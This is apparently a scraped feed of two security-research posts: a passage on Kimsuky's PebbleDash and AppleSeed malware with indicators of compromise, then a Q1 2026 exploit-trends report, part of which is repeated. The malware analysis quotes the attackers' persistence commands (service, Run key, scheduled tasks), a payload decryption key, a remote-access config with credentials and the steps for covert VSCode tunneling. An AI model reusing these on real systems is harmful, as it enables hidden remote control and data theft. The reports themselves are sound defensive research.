decrytion failed (typos)
autorum failed (typos)

It is likely that the flawed comments were added manually before or after AI was used.

httpMalice: latest backdoor variant of PebbleDash

The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:

(PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level – a feature also observed in PebbleDash and httpTroy.
(PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
(PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
(PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
(AppleSeed cluster) Use of the m= parameter in C2 communication.
(AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.

Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.

The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root drive’s volume serial number with the user’s access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].

Value of elevation status	Description
0	Running under the SYSTEM account with an elevated token
1	Running under an elevated administrator account
2	Running without elevation

Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c “rundll32.exe [current DLL path], load”. The service’s display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.

The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).

Windows commands used to gather system details

httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:

Value	Description
1	Send the session identifier (parameter s) along with the current state (parameter a)
2	Request command
3	Send result after executing the command (parameter d)
8	Request directory to be archived and sent
9	Send the archived directory
10	Send a message like “.cmd” or “.tmp” (parameter d)
11	Send ping
12	Send the captured screenshot (parameter d)
13	Send the infected device information (parameter d)

As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].

The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.

Structure of the ChaCha20-encrypted data blob

After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an ‘@’ symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:

Value	Description
0	httpMalice has been activated
1	httpMalice has been inactivated (upon command 9)
2	httpMalice has been removed (upon command 8)

The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a “success!” message.

C2 communication sequence of httpMalice

When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string “.cmd” in the d parameter.

The commands supported by httpMalice are as follows:

Command	Description
0	Do nothing
1	Execute the command with EUC-KR encoding
2	Download and extract the file to the infected device
3	Upload a directory to the C2 server after it has been archived
5	Get the current directory
6	Set the current directory
7	Execute the command without setting a EUC-KR character set
8	Remove its persistence traces and exit the process
9	Hibernate
10	Execute the command using the provided session ID
12	Capture the screen
13	Load the downloaded payload into memory

MemLoad downloads httpTroy

Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).

Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.

Below are the key operations of MemLoad:

Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and “.dat.cfg” extension at the current file path.
Generates an ID. Generates an ID value by adding either ‘A-‘ or ‘U-‘ to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with ‘A-‘ (indicating administrative privileges); otherwise, it starts with ‘U-‘.
Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /rl highest /f is executed. Otherwise, the task is named EdgeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /f is executed.
C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.

The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].

Since Gen Digital covers httpTroy’s features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.

AppleSeed

AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.

Updated AppleSeed infection chain

There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory – functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.

HappyDoor

HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.

Post-exploitation

We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.

VSCode (launched by the JSE dropper)

Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victim’s device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name “bizeugene”, using the command below.

The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.

The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.

Out.txt content

The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.

VSCode (launched by VSCode installer)

While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.

Number	Installer type	VSCode version	Download source
1	Written in JScript	VSCode CLI 1.106.3	hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/bf9252a2fb45be6893dd8870c0bf37e2e1766d61/vscode_cli_win32_x64_cli[.]zip
2	Written in Go	VSCode CLI 1.106.2	hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/1e3c50d64110be466c0b4a45222e81d2c9352888/vscode_cli_win32_x64_cli[.]zip

After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.

This is how the installer works:

Executes code.exe tunnel.
Searches for the “Microsoft Account” string in the stdout.
Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
Searches for the “use code” string in the stdout.
Sends the printed code for authentication, prepended with the “hxxps://github[.]com/login/device” => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
Searches for the “What would you like to call this machine?” string in the stdout.
Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
Searches for the “https://vscode.dev/tunnel/” string in the stdout.
Sends the printed URL for tunneling to the Slack WebHook.

The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attacker’s side. (The “Microsoft Account” string in the second step is not shown in this figure because the second “GitHub Account” was already selected during the process.)

Creating a tunnel using VSCode CLI

Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.

An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.

DWAgent

DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.

We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.

This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:

c:\programdata\dwagent\native\dwagsvc.exe installService
c:\programdata\dwagent\native\dwagsvc.exe startService

The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.

The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.

{
 "enabled": true,
 "key": "kDRNGmWGTMpjQmREgQzU",
 "listen_port": 7950,
 "nodes": [
  {
   "id": "ND896147",
   "port": "443",
   "server": "node896147.dwservice[.]net"
  },
  {
   "id": "ND828765",
   "port": "443",
   "server": "node828765.dwservice[.]net"
  },
  {
   "id": "ND484265",
   "port": "443",
   "server": "node484265.dwservice[.]net"
  }
 ],
 "password": "eJwrynEqD0r294twTXLKCHWqDPLPCql0Kg/JDqpIdk4HAKYMCso=",
 "url_primary": "hxxps://www.dwservice[.]net/"
}

Infrastructure

For years, Kimsuky has relied heavily on the South Korea-based free domain hosting service 내도메인[.]한국 (pronounced as “naedomain[.]hankook) to mimic legitimate sites with domains like .p-e.kr, .o-r.kr, .n-e.kr, .r-e.kr, and .kro.kr. This service has been utilized to create C2 servers for PebbleDash and AppleSeed clusters, and the background infrastructures have been mostly resolved to the virtual private servers belonging to InterServer. It has also been noted that many other malicious actors have exploited this free domain hosting service, so it alone cannot be considered proof of a connection to Kimsuky.

The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.

Victims

We identified multiple infection logs uploaded to the Dropbox storage used for httpMalice’s C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victim’s folder contained a user.txt file with detailed information such as target details, the presence of something named “http” (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.

Below you can see an example of this type of file content. In this context, “장악” means “take over” and “있음” means “exists”.

[Target's name] [Description] [Infection date] 장악, http 있음, DWService 있음.

While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.

Attribution

Over the past few years, we have observed two clusters using overlapping distribution methods – JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.

Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.

These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation – another name for Kimsuky.

Conclusion

Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actor’s changing tactics.

Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.

Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.

Indicators of compromise

File hashes

JSE Dropper
995a0a49ae4b244928b3f67e2bfd7a6e         [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse
52f1ff082e981cbdfd1f045c6021c63f             2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse
9fe43e08c8f446554340f972dac8a68c          2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse
8e15c4d4f71bdd9dbc48cd2cabc87806         노현정님.pdf.jse

Reger Dropper
65fc9f06de5603e2c1af9b4f288bb22c security_20260126.scr
c19aeaedbbfc4e029f7e9bdface495b9 secu.scr

Pidoc Dropper
8983ffa6da23e0b99ccc58c17b9788c7 대국민서비스관리운영체계_현장점검_증적(초안).pif

AppleSeed (Dropper)
a7f0a18ac87e982d6f32f7a715e12532
f4465403f9693939fe9c439f0ab33610
5c373c2116ab4a615e622f577e22e9be

HappyDoor
d1ec20144c83bba921243e72c517da5e

MemLoad
58ac2f65e335922be3f60e57099dc8a3
f73ba062116ea9f37d072aa41c7f5108 jhsakqvv.dat

httpTroy
7e0825019d0de0c1c4a1673f94043ddb c:\programdata\config.db

httpMalice
08160acf08fccecde7b34090db18b321
94faed9af49c98a89c8acc55e97276c9

HelloDoor
c42ae004badddd3017adadbdd1421e00

VSCode Tunnel installer
9ca5f93a732f404bbb2cee848f5bbda0 xipbkmaw.exe

DWAgent installer
678fb1a87af525c33ba2492552d5c0e2

Domains and IPs

opedromos1.r-e[.]kr                            C2 of AppleSeed
morames.r-e[.]kr                                 C2 of AppleSeed
load.ssangyongcne.o-r[.]kr                 C2 of MemLoad
load.yju.o-r[.]kr                                   C2 of MemLoad
attach.docucloud.o-r[.]kr                    C2 of MemLoad
load.supershop.o-r[.]kr                       C2 of MemLoad
load.erasecloud.n-e[.]kr                     C2 of MemLoad

cms.spaceyou.o-r[.]kr C2 of HappyDoor
erp.spaceme.p-e[.]kr C2 of HappyDoor

file.bigcloud.n-e[.]kr C2 of httpTroy
load.auraria[.]org C2 of httpTroy

female-disorder-beta-metropolitan.trycloudflare[.]com         C2 of HelloDoor
hxxps://www.pyrotech.co[.]kr/common/include/tech/default.php      C2 of httpMalice
hxxp://newjo-imd[.]com/common/include/library/default.php            C2 of httpMalice
hxxps://www.yespp.co[.]kr/common/include/code/out.php               VSCode Tunneling using JScript

Securelist
Exploits and vulnerabilities in Q1 2026 7 May 2026 at 12:00

Exploits and vulnerabilities in Q1 2026

Securelist

By: Alexander Kolesnikov

7 May 2026 at 12:00

During Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.

In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.

Statistics on registered vulnerabilities

This section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.

We examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.

Total published vulnerabilities per month from 2022 through 2026 (download)

Next, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.

Total critical vulnerabilities published per month from 2022 through 2026 (download)

The graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.

Exploitation statistics

This section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.

Windows and Linux vulnerability exploitation

In Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:

CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
CVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive
CVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
CVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams

Among the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:

CVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the user’s knowledge. Malicious commands are executed on the victim’s system with the privileges of the user who opened the file.
CVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.

These three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.

Below is the trend of exploit detections on user Windows systems starting from Q1 2025.

Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.

On Linux devices, exploits for the following vulnerabilities were detected most frequently:

CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
CVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests

Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

In the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.

Most common published exploits

The distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.

Distribution of published exploits by platform, Q1 2026 (download)

Vulnerability exploitation in APT attacks

We analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.

TOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)

In Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.

C2 frameworks

In this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.

The chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.

TOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)

Metasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:

CVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running
CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
CVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications
CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user

The nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.

Notable vulnerabilities

This section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.

CVE-2026-21519: Desktop Window Manager vulnerability

At the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.

It is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.

RegPwn (CVE-2026-21533): a system settings access control vulnerability

CVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.

CVE-2026-21514: a Microsoft Office vulnerability

This vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.

Clawdbot (CVE-2026-25253): an OpenClaw vulnerability

This vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.

CVE-2026-34070: LangChain framework vulnerability

LangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.

CVE-2026-22812: an OpenCode vulnerability

CVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.

Conclusion and advice

We observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.

To ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity.

Securelist
Exploits and vulnerabilities in Q1 2026 7 May 2026 at 12:00

Exploits and vulnerabilities in Q1 2026

Securelist

By: Alexander Kolesnikov

7 May 2026 at 12:00

During Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.

In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.

Statistics on registered vulnerabilities

This section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.

We examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.

Total published vulnerabilities per month from 2022 through 2026 (download)

Next, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.

Total critical vulnerabilities published per month from 2022 through 2026 (download)

The graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.

Exploitation statistics

This section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.

Windows and Linux vulnerability exploitation

In Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:

CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
